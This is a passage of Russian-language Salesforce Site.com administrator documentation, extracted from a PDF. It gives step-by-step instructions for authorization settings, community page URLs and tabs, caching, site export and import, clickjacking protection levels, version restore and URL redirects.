ПОЛЬЗОВАТЕЛЯ

Для управления
авторизацией:
• Назначение в качестве

администратора сайта

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Пользователи могут определять уровень доступа посетителей к содержимому
создаваемогосайта. Исходнаянастройкановыхсайтовразрешаетдоступковсемресурсам
(например, папки и страницы). Чтобы изменить стандартное значение, воспользуйтесь
представлением «Авторизация» в представлении «Конфигурация сайта».

Ниже перечислены доступные значения авторизации.

• «Нет авторизации» (по умолчанию): все ресурсы являются общедоступными.

• «Требует авторизацию»: все ресурсы являются личными.

• «Настраиваемый»: по умолчанию все ресурсы являются общедоступными, но могут
быть выбраны в качестве личных.

1. Откройте сайт для редактирования.

2. Последовательно выберите пункты «Конфигурация сайта» > «Авторизация».

3. Выберите нужное значение авторизации.

СМ. ТАКЖЕ:

Общие сведения об авторизации Site.com

Настройка настраиваемой авторизации

Удаление авторизации Site.com
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Настройка настраиваемой авторизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
авторизацией:
• Назначение в качестве

администратора сайта

Настраиваемая авторизацияпозволяетпользователям контролировать уровень доступа
к сайту. Пользователи могут контролировать не только доступ к ресурсам верхнего
уровня (например, папки и страницы), но также доступ на уровне отдельного ресурса.

Благодаря настраиваемой авторизации на уровне папки, пользователи могут
одновременно отменять общий доступ к большому количеству ресурсов. Например,
компания регулярно публикует торговые предложения для оплаченных пользователей.
Все страницы торговых предложений, перемещенные в специальную папку, которая
помечается для авторизации, мгновенно наследуют параметры данной папки. Таким
образом, торговые предложения доступны пользователям только после входа. Чтобы
разрешить общий доступ к одной из страниц торговых предложений, рекомендуем
перетащить нужную страницу в общедоступную папку или корневую папку области
«Все содержимое сайта».

1. Откройте сайт для редактирования.

2. Последовательно выберите пункты «Конфигурация сайта» > «Авторизация».

3. Выберите значение «Настраиваемый».

4. Выберите представление «Все содержимое сайта».

5. При необходимости создайте папку для хранения личных страниц.

6. Установите флажок «Требует авторизацию» в меню «Действия» папки . Папка помечается значком замка .
Теперь папка является личной.

7. Перетащите нужные страницы в папку. Страницы также помечаются значком замка .

Пример: Приведем другой пример. Чтобы запретить общий доступ к странице, независимо от ее размещения,
рекомендуем настроить ее авторизацию посредством меню «Действия». Авторизация, настроенная на уровне
отдельного ресурса, позволяет блокировать общий доступ даже при перемещении страницы в общедоступную
папку. Другими словами, ресурс, помеченный в качестве личного, доступен только после снятияфлажка «Требует
авторизацию» в меню «Действия».

Чтобыоткрытьтаблицуавторизации, позволяющуюпросматриватьиуправлятьвсемипапкамииресурсами, помеченными
в качестве личных, воспользуйтесь страницей «Авторизация».

СМ. ТАКЖЕ:

Общие сведения об авторизации Site.com

Настройка авторизации на сайте

Удаление авторизации Site.com
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Удаление авторизации Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
авторизацией:
• Назначение в качестве

администратора сайта

Чтобы удалить авторизацию ресурса, удалите нужный ресурс из таблицы авторизации
впредставлении «Конфигурациясайта» илиснимитефлажок «Требуетавторизацию»
в меню .

1. Откройте сайт для редактирования.

2. Последовательно выберите пункты «Конфигурация сайта» > «Авторизация».

3. Щелкните ссылку «Удалить» напротив нужного элемента в таблице авторизации.
При необходимости откройте представление «Все содержимое сайта». Выберите
нужныйресурс. Снимитефлажок«Требуетавторизацию»вменю «Действия» .

Пример: Авторизация ресурса, помеченного в качестве личного посредством
меню «Действия», должна быть удалена также посредством меню «Действия».
Например, страница, помеченная в качестве личной и перемещенная в
общедоступную папку, остается личной. Аналогично, страница, перемещенная в
личную папку, авторизация которой удаляется, все равно остается личной.

СМ. ТАКЖЕ:

Общие сведения об авторизации Site.com

Настройка авторизации на сайте

Настройка настраиваемой авторизации
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Отображение сведений о текущем пользователе сообщества в Site.com

Отображение сведений о текущем пользователе сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

КонструкторыSite.com, создающиепроверенныестраницыдлясайта сообщества, могут
просматривать сведения о текущем пользователе путем доступа к выражениям
пространства имен CurrentUser.

1. Откройте страницу, которая должна содержать сведения о текущем пользователе
сообщества.

2. Перетащите элемент страницы «Блок содержимого» или «Настраиваемый код»
с панели «Элементы страницы» на страницу.

3. Введите {!CurrentUser. и нужное значение.
Например, {!CurrentUser.firstName}.

Просмотрите список доступных выражений для отображения сведений о текущем
пользователе.

4. Введите любой нужный дополнительный текст.
Например, «С возвращением, {!CurrentUser.firstName}!».

5. При использовании элемента «Блок содержимого» нажмите кнопку «Сохранить».
При использовании элемента «Настраиваемый код» нажмите кнопку «Сохранить
и закрыть».

Прим.: Еслинепроверенныйпользовательпросматривает страницу, содержащую
выражения CurrentUser, тосведенияотекущемпользователенеотображаются.
Например, при просмотре страницы, содержащей приведенный выше пример,
приветственноесообщение, отображаемоенепроверенномупользователю, выглядит
следующим образом: «С возвращением, !».
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Выражения, доступные для отображения сведений о текущем пользователе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Данныевыраженияпространстваимен CurrentUser позволяютотображать сведения
о проверенном пользователе на странице сообщества Site.com.

ОтображениеВыражение CurrentUser

Имя и фамилия пользователя,
отображаемые на странице сведений о
пользователе.

{!CurrentUser.name}

Личное имя пользователя, отображаемое
на странице редактирования сведений о
пользователе.

{!CurrentUser.firstName}

Фамилия пользователя, отображаемая на
странице редактирования сведений о
пользователе.

{!CurrentUser.lastName}

Административное поле, которое
определяет вход пользователя.

{!CurrentUser.userName}

Адрес эл. почты пользователя.{!CurrentUser.email}

Имя, используемое для определения
пользователя в сообществе.

{!CurrentUser.communityNickname}
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Определение URL-адреса страницы Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Ниже перечислены действия, доступные при определении URL-адреса созданной
страницы Site.com.

• Создание URL-адреса, предоставляющего пользователям прямой доступ к
общедоступной странице.

• Создание ссылки на страницу посредством других страниц, включая страницы
Force.com Sites и Visualforce.

• Использование URL-адреса в качественачальнойстраницысообществапосредством
переадресации в Force.com Sites.

• Добавление личной страницы на веб-вкладку сообщества.

1. Чтобы определить правильный URL-адрес страницы, выполните указанные ниже
действия.

• Щелкните «Настроить» в мастере создания сообщества.

• При закрытии мастера создания сообщества последовательно выберите пункты
«Настроить» > «Сообщества» > «Все сообщества» ищелкните ссылку
«Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Скопируйте URL-адрес, отображаемый на странице, и вставьте его в текстовый
редактор.

4. Чтобы создать URL-адрес, указывающий на...

• начальную страницу сайта Site.com, дополните URL-адрес компонентом /s/.
Например, https://mydomain.force.com/mycommunity/s/.

• конкретную страницу Site.com, дополните URL-адрес компонентом
/s/<имя_страницы>, где элемент <имя_страницы> заменяется именем страницы
Site.com. Например,
https://mydomain.force.com/mycommunity/s/promotion.

Убедитесь, что элемент «s» является строчным, так как URL-адреса чувствительны к
регистру.

СМ. ТАКЖЕ:

Добавление проверенных страниц Site.com на вкладки сообщества

Переадресации URL-адресов Force.com Sites
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Добавление проверенных страниц Site.com на вкладки сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Созданная личная страница Site.com может быть добавлена на вкладку сообщества.

Рекомендуем создать веб-вкладку, указывающую на страницу Site.com.

1. Установите флажок «Показать верхний колонтитул Salesforce» на панели
«Свойства».

Выбор данного параметра гарантирует отображение вкладок в сообществе.

2. Введите имя вкладки, которое должно отображаться в сообществе.

Созданная веб-вкладка должна использовать такое же имя.

3. Определите правильный URL-адрес страницы.

URL-адрес должен использовать следующийформат:
https://мойДомен.force.com/моеСообщество/s/<имя_страницы>, где компонент
имя_страницы соответствует имени страницы.

4. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки».

5. Нажмите кнопку «Создать» в разделе «Веб-вкладки» и введите имя вкладки,
отображающееся в поле «Имя вкладки» на панели «Свойства».

6. Вставьте созданный URL-адрес в текстовоеполе «URL-адрес кнопкиили ссылки» окна
«Действие 3».

7. Откройте мастер создания сообщества и добавьте новую вкладку в сообщество.

Чтобы открыть личную страницу для предварительного просмотра в сообществе,
рекомендуем опубликовать сайт Site.com.

Прим.: Сайт не может быть опубликован из безопасной среды.

СМ. ТАКЖЕ:

Общие сведения о сообществах Salesforce

Создание веб-вкладок
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Добавление ленты новостей или ленты группы Chatter на страницы Site.com сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Рекомендуем использовать ленту новостей Chatter для отображения ленты Chatter на
страницах сайта, а ленту группы Chatter для отображения лент отдельной группы.

1. Перетащите элемент «Лентановостей»или «Лентагруппы»израздела «Виджеты»
панели «Элементы страницы» на страницу.
Добавлениевиджетанастраницуинициируетсозданиекопииили экземпляравиджета.
В отличие от содержимого виджета, свойства доступны для редактирования.

2. При добавлении ленты группы введите код группы на панели «Свойства».

Код группыопределяетленту группы, отображаемуюна странице. Чтобыразрешить
отображение лент для разных групп, добавьте несколько лент группы на страницу.

3. Откройте страницу для предварительного просмотра ленты или воспользуйтесь
рабочимрежимомдляпросмотраспособовотображениялентынаразныхмобильных
устройствах.

Нижеперечисленыограниченияпоиспользованиюлентыновостейилиленты группы
на сайтах Site.com сообщества.

• Ленты новостей и ленты группы Chatter отображаются только после входа
пользователя в сообщество. Данные ленты не отображаются пользователям-гостям
или в режиме анонимного предварительного просмотра.

• ЛентыновостейилентыгруппыChatterмогутотображатьсянекорректнонастраницах
шириноюменее 700 пикселов. Рекомендуемпросматриватьсодержимоенастраницах
шириною не менее 700 пикселов. Кроме того, рекомендуем использовать белый
фон.

• Ленты новостей и ленты группы Chatter наследуют только некоторые элементы
фирменного стиля страницы.
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Повышение производительности путем кэширования HTML-страниц для сообществ в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управлениянастраиваемыми
страницами сообщества:
• “«Создание и настройка

сообществ»

ИЛИ

Поле «Пользователь
Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Кэширование HTML позволяет пользователя повышать производительность и
эффективность отображения страниц сайта Site.com сообщества путем определения
частоты повторной загрузки созданной разметки страницы.

Например, страница одновременно просматривается 100 посетителями. Если
кэширование выключено, то страница отправляет 100 отдельных запросов на одну и ту
же разметку, а ее производительность сильно снижается. Если кэширование включено,
то страница отправляет всего один запрос для первого посетителя. Все последующие
запросы страницы, отправляемые в течение заданного временного промежутка,
извлекаются из кэша. По истечении установленного времени кэш обновляется.

Прим.: Продолжительность кэширования применяется только к страницам
сообщества, которые просматриваются пользователями-гостями. Выполнение
пользователем входа для просмотра страницы инициирует выключение
кэширования.

1. Откройте страницу в среде Site.com Studio.

2. Выберитепродолжительностькэшированиястраницывполе «Продолжительность
кэширования (в минутах)» раздела «Кэш» вкладки «Свойства».

По умолчанию продолжительность кэширования страницы составляет 30 минут.

Чтобы выключить кэширование, задайте нулевое значение.
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Создание и управление сайтами

Создание сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или импорта
сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

ЧтобысоздатьпустойсайтвприложенииSite.com, выполнитеуказанныенижедействия.

1. Нажмите кнопку «Создать» на вкладке Site.com приложения Site.com. При работе в
среде Site.com Studio выберите «Создать сайт» в раскрывающемся меню сайта.

2. Щелкните «Создать пустой веб-сайт».

3. Введите имя сайта.

4. Нажмите кнопку «Создать». При этом новый веб-сайт откроется в среде Site.com
Studio, которая позволяет создавать шаблоны страниц и страницы сайта, а также
добавлять их функции.

Прим.: Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Создание шаблонов страниц Site.com

Создание страниц Site.com

Редактирование страниц Site.com в качестве конструктораили администратора сайта
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Удаление сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Любойнеопубликованныйсайтможетбытьудален. Преждечемудалитьопубликованный
сайт, рекомендуем отменить его публикацию. См. раздел «Перевод сайта в автономный
режим» на странице 5282.

1. Выберите нужный сайт ищелкните  > «Удалить» на вкладке Site.com приложения
Site.com.

2. Нажмите кнопку «OK».

Прим.: Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Экспорт сайта Site.com
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Дублирование сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Чтобы создать копию сайта, выполните указанные ниже действия.

1. Выберите нужный сайт и щелкните  > «Дублировать» на вкладке Site.com

приложения Site.com. При необходимостищелкните  > «Дублировать
данный сайт» на вкладке «Общие сведения» приложения Site.com Studio.

2. Введите имя сайта.

3. Нажмите кнопку «Создать».

Прим.:

• Чтобы создать копию сайта, использующего службы данных, рекомендуем
настроитьполномочиядоступакданнымвпрофилепользователя-гостянового
сайта.

• Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Создание сайта Site.com

Экспорт сайта Site.com

Импорт сайта Site.com
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Экспорт сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Сайт Site.com может быть экспортирован на жесткий диск. Экспортированный сайт
доступенв видепакета с расширением .site, которыйможетбытьимпортированв другую
организацию Salesforce. Максимальный размер импортируемого сайта не должен
превышать 2 Гб.

1. Выберите нужный сайт ищелкните  > «Экспорт»на вкладке Site.comприложения

Site.com. При необходимостищелкните  > «Экспорт данного сайта» на
вкладке «Общие сведения» приложения Site.com Studio.

2. Если размер сайта:

• составляет менее 100 Мб, выберите область для хранения экспортированного
файла .site на жестком диске и нажмите кнопку «Сохранить».

• составляет более 100 Мб, дождитесь электронного уведомления о завершении
экспорта. Чтобы загрузить экспортированныйфайл .site, щелкните ссылку в
сообщении эл. почты.

Прим.:

• В результате экспорта сайт не удаляется из текущей организации.

СМ. ТАКЖЕ:

Создание сайта Site.com

Импорт сайта Site.com
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Импорт сайта Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или импорта
сайтов Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

ЭкспортированныйсайтSite.comможетбытьимпортированворганизацию. The maximum
site size you can import is 2 GB.При импорте сайта пользователю назначается роль
администратора сайта.

1. Нажмите кнопку «Создать» на вкладке Site.com приложения Site.com. При работе в
среде Site.com Studio выберите «Создать сайт» в раскрывающемся меню сайта.

2. Выберите «Импорт сайта илишаблона».

3. Введите имя сайта.

4. Чтобы найти экспортированный сайт на жестком диске, нажмите кнопку «Обзор».
Экспортированные сайты используют расширение .site.

5. Нажмите кнопку «Создать».

Прим.:

• Чтобы импортировать сайт, использующий службы данных, рекомендуем
настроить полномочия доступа к данным в профиле пользователя-гостя
импортированного сайта. Повторители данных, таблицы данных, функции
обработки данных и формы могут нуждаться в повторной настройке.

• Site.com не поддерживает создание, удаление или копирование сайтов
сообщества.

СМ. ТАКЖЕ:

Создание сайта Site.com

Экспорт сайта Site.com
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Настройка свойств сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Настройтесвойствасайта (например, начальнуюстраницу, имясайтаистраницуошибок)
и создайте ссылку для анонимного предварительного просмотра, благодаря которой
содержимое неактивного сайта может быть предварительно просмотрено другими
пользователями. Срок действия этих ссылок неограничен (если не указано иное); при
выборе ссылки отображается самая последняя версия сайта. Данные ссылки доступны
только соответствующим адресатам и не могут быть найдены поисковыми системами.

1. Щелкните «Конфигурация сайта» на вкладке «Общие сведения».

2. Нажмите кнопку «Правка».

3. Ниже перечислены действия, доступные в представлении «Конфигурация сайта».

• Чтобы переименовать сайт, укажите новое имя в поле «Имя сайта».

• Просмотрите поле сайта «Имя разработчика». Данное поле доступно только
для чтения, поэтому может отличаться от поля «Имя сайта». Поле «Имя
разработчика» используется интерфейсомMetadata API.

• Чтобы создать ссылку, позволяющую другим пользователям просматривать
содержимое неактивного сайта, щелкните «Включить анонимный
предварительныйпросмотр». (Чтобыполучитьдоступк ссылке, котораяможет
быть скопирована и отправлена другим пользователям для предварительного
просмотра и тестирования внесенных изменений, выберите параметр
«Анонимный предварительный просмотр», доступный в меню
«Предварительный просмотр».) Параметр «Включить анонимный
предварительный просмотр» также доступен в меню «Предварительный
просмотр» на вкладке «Общие сведения».

• Откройте профиль пользователя-гостя сайта.

• Выберите нужный уровень защиты от кликджекинга.

• Выберите начальную страницу веб-сайта в раскрывающемся списке «Начальная
страница».

• Только для сайтов сообщества Site.com:

– Выберите страницу входа для сайта сообщества Site.comизраскрывающегося
списка «Страница входа».

– Выберите страницу, настроенную для незарегистрированных пользователей сайта сообщества Site.com, из
раскрывающегося списка «Страница регистрации».

– Выберите страницу восстановления пароля, настроенную для сообщества посредством Site.com.

• Выберите нужную страницу ошибок из раскрывающегося списка «Страница 404». Наличие страницы ошибок,
отображающейся при использовании поврежденной ссылки, указывает на уважительное отношение компании
к посетителям сайта.

4. Нажмите кнопку «Сохранить».

Прим.:

• Начальная страница, страницаошибок, страница входаи страница самостоятельнойрегистрации, заданныедля
сайтов сообщества Site.com в представлении «Конфигурация сайта», определяютначальные страницыдля сайта
сообщества Site.com. Данные стандартные URL-адресанеиспользуются толькопринастройкедругих URL-адресов
путемпоследовательноговыборапунктов«Администрирование» > «Страницы»и«Администрирование» >

5110

Site.comРасширение Salesforce посредством интерактивных
инструментов



«Входирегистрация»на странице «Управление сообществом». Страницыошибок сообщества определяются
разделом «Страницы ошибок» меню «Настройка Force.com».

• Еслисайт сообщества Site.comнеактивен, топользователиперенаправляютсяна страницу «Службанедоступна»,
заданную в разделе «Страницы» страницы «Управление сообществом».

СМ. ТАКЖЕ:

Создание сайта Site.com

Использование Site.com Studio в качестве администратора сайта или конструктора

Включение защиты от кликджекинга

Включение защиты от кликджекинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Кликджекинг — это тип атаки, при котором пользователи выбирают элементы
интерфейса (например, кнопки или ссылки), считающиеся безопасными. Выбранная
кнопка или ссылка выполняет вредоносное действие на сайте, результатом которого
становитсянесанкционированныйдоступкданным, отправканедопустимыхсообщений
эл. почты, изменение регистрационных данных или другие характерные действия.

Скрытые элементы iframe, отвечающие за загрузку страниц сайта, могут быть
преднамеренно добавлены посторонней страницей, которая предлагает пользователю
выбрать кнопку или ссылку, отображаемую под скрытым элементом iframe. Благодаря
защите от кликджекинга, обозреватель пользователя может разрешать элементы frame
или iframe на страницах сайта. По умолчанию Site.com использует уровень защиты от
кликджекинга «Разрешить кадрирование только по одинаковому происхождению».

Ниже перечислены доступные уровни защиты от кликджекинга.

• Разрешить кадрирование по любой странице (не защищено)

• Разрешить кадрирование только по одинаковому происхождению (рекомендуется)

• Запретить кадрирование по любой странице (защищено)

Прим.: Кадрирование по одинаковому происхождению позволяет кадрировать
страницы сайта только по страницам, которые используют такое же имя домена и
безопасность по протоколам.

1. Щелкните «Конфигурация сайта» на вкладке «Общие сведения».

2. Нажмите кнопку «Правка».

3. Выберите нужный уровень защиты от кликджекинга.

Прим.: Сообщества Salesforce используют два элемента защиты от
кликджекинга: один для сайта Force.com Communities, который задается
посредством страницы сведений о сайте Force.com, а второй для сайта Site.com
Communities, который задается посредством страницы конфигурации Site.com.
Рекомендуем задать обоим элементам одинаковое значение.

СМ. ТАКЖЕ:

Настройка свойств сайта

Создание и редактирование Force.com Sites
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Общие сведения об управлении версиями Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Каждая публикация сайта отслеживается как отдельная версия. Система позволяет
восстанавливать предыдущие опубликованные версии сайтов. Сайт должен
восстанавливатьсяполностью; отдельныекомпонентысайтанемогутбытьвосстановлены.

Среда Site.com Studio всегдаотображаетнеопубликованнуюверсиюсайта. Данная версия
является рабочей копией. Восстановление версии инициирует перезапись рабочей копии
(не действующего сайта). Внесенные изменения отображаются на действующем сайте
только после публикации восстановленной версии.

Чтобы просмотреть список версий сайта, воспользуйтесь представлением «Журнал
изменений» на вкладке «Общие сведения» в среде Site.com Studio. При восстановлении
версиинекоторые элементысайтапропускаются. Некоторые элементы (например, роли
пользователей) не меняются даже при восстановлении предыдущей версии. Ниже
перечислены компоненты, которые не управляются версиями.

• Имя сайта

• Параметр анонимного предварительного просмотра

• Параметры профиля пользователя-гостя

• Уровень защиты от кликджекинга

• Домены и префиксы пути

• Параметры роли пользователя

СМ. ТАКЖЕ:

Восстановление предыдущей версии сайта
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Восстановление предыдущей версии сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Среда Site.com Studio содержит список «Журнал изменений», предназначенный для
отслеживания всех опубликованных версий сайта. Система позволяет пользователям
выбирать и восстанавливать любые предыдущие опубликованные версии. Сайт может
восстанавливаться только полностью; отдельные компоненты сайта не могут быть
восстановлены.

Среда Site.com Studio всегдаотображаетнеопубликованнуюверсиюсайта. Данная версия
является рабочей копией. Восстановление версии инициирует перезапись рабочей копии
(не действующего сайта). Внесенные изменения отображаются на действующем сайте
только после публикации восстановленной версии.

Внимание: Восстановление предыдущей версии препятствует восстановлению
рабочейкопиисайта. Чтобыизбежатьвозможнойпотерилюбыхнеопубликованных
изменений, рекомендуем выполнять восстановление только после резервного
копирования рабочей копии сайта.

Чтобывосстановитьпредыдущуюопубликованнуюверсиюсайта, выполнитеуказанные
ниже действия.

1. Откройте вкладку «Общие сведения».

2. Выберите нужную версию в представлении «Журнал изменений».

3. Щелкните  > «Восстановить версию».

4. Нажмите кнопку «ОК» в сообщении-подтверждении.

При необходимости внесите дополнительные изменения после восстановления
предыдущей версии рабочего сайта и опубликуйте готовый сайт.
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Создание переадресаций URL-адресов в Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Новыеадреса страниц, созданныеврезультатеперемещенияилиреорганизациистраниц
сайта, могут быть недоступны поисковым системам. Во избежание подобной ошибки,
рекомендуем настроить переадресации URL-адресов, позволяющие уведомлять
пользователей и поисковые системы о переносе содержимого сайта.

Переадресации URL-адресов позволяют:

• сохранять оценки страниц в поисковых системах. Например, при измененииимени
страницы (с «Гаджеты» на «Виджеты») и создании правила переадресации (со
страницы /Гаджеты на страницу /Виджеты), структура сайтаменяетсябезизменения
оценки его страниц.

• сделать URL-адресаболеедоступнымидлячтенияизапоминания. Например, длинные
илицифровыеимена страниц (/widget65AD890004ab9923), которыенеудобны
посетителям сайта для запоминания, могут быть заменены короткими URL-адресами
(/виджет), для которых создаются псевдонимы, позволяющие перенаправлять
пользователей на нужную страницу.

• переносить сайты из других систем в Site.com (при условии использования того же
домена). Так, для сайта, функционировавшего ранее на основе PHP, может быть
создано правило переадресации с прежней страницы (например, /index.php) на
новую страницу Site.com (например, /мояНоваяСтраница).

Чтобынастроитьпереадресациюнастраницусайта, выполнитеуказанныенижедействия.

1. Щелкните «Конфигурация сайта» > «Переадресации URL-адресов» на вкладке
«Общие сведения».

2. Щелкните «Создать переадресацию».

3. Выберите значение в параметре «Тип переадресации».

ОписаниеПараметр

Выберите данный вариант, чтобы
пользователи и поисковые системы
могли обновить URL-адрес при
просмотре страницы. Пользователи,

Постоянно (301)

открывшие страницу и
перенаправленные с помощью данного
типапереадресации, переходятнановую
страницу. Данный тип переадресации
позволяет сохранить популярность
URL-адресов в поисковых системах,
которые, в свою очередь, выполняют
индексациюновой страницыи удаляют
из индекса предыдущий URL-адрес.

Выберите данный вариант, чтобы
пользователи и поисковые системы

Временно (302)

могли продолжить использование
исходного URL-адреса страницы.
Поисковые системы обрабатывают

5114

Site.comРасширение Salesforce посредством интерактивных
инструментов



ОписаниеПараметр

данныйтиппереадресациикакдоступныйдляизменения
в любое время, поэтому наряду с индексацией новой
целевой страницы и отображением ее содержимого,
предыдущий URL-адрес также сохраняется в индексе
поисковых систем.

Выберите данный вариант, чтобы не менять URL-адрес в
обозревателепользователя, новыполнятьпереадресацию

Псевдоним

на другую страницу. В этом случае поисковые системы
